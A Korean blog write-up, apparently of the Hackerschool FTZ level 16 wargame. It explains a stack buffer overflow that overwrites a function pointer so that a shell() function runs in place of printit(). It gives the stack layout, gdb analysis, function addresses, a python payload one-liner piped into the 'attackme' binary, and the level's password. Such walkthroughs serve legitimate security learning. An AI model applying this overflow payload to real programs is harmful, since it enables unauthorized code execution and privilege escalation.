딩굴댕굴

[Hackerschool FTZ] level 16 - Function Pointer

by jennysgap

BOX


[Hackerschool FTZ] level 16 - Function Pointer


Password: about to cause mass


printit함수에 대한 void function pointer를 만들었습니다.

이는 함수 주소를 위변조하여 임의의 함수를 실행하도록 하는 문제입니다.

call() 함수 호출시 printit()이 아닌 shell() 함수가 호출되도록 하는 것이 문제입니다.


esp 38(16진수) 만큼 메모리 할당 => 56(10진수)

56 - 20[buf] - 4[void* &printit] - 4[crap] = 28byte [dummy]


메모리 할당 크기는 56byte  (buf에서 dummy까지)

[ buf 20 ] [ void* &printit 4 ] [ crap 4 ] [ dummy 28 ] [ SFP 4 ] [ RET 4 ] 

|-->  func printit()

|-->  func shell()

여기서 문제점은 dummy의 정확한 위치를 모른다는 점

※ 함수호출 주소를 변조하기 위해서는 함수 포인터의 위치를 정확하게 알아내는 것이 매우 중요함


call 하기 전에 브레이크 포인트를 걸면 된다.

0x0804853f <main+39>:    call    *%eax    --> 브레이크 포인트 지점!


AAAA --> 0x41414141  (buf의 시작부분)

void* &printit --> 0x08048500  

분석해 보면 buf 와 void* &printit 사이에 있는 20byte 는 dummy가 된다.


그 결과 void* &printit에 입력되어있는 주소를 shell 함수 주소로 변경하면 된다.

printit 시작 주소 -->  0x08048500

shell 시작 주소 -->  0x080484d0



(python -c 'print "A"*40+"\xd0\x84\x04\x08"'; cat | ./attackme








반응형

블로그의 정보

jennysgap

jennysgap

활동하기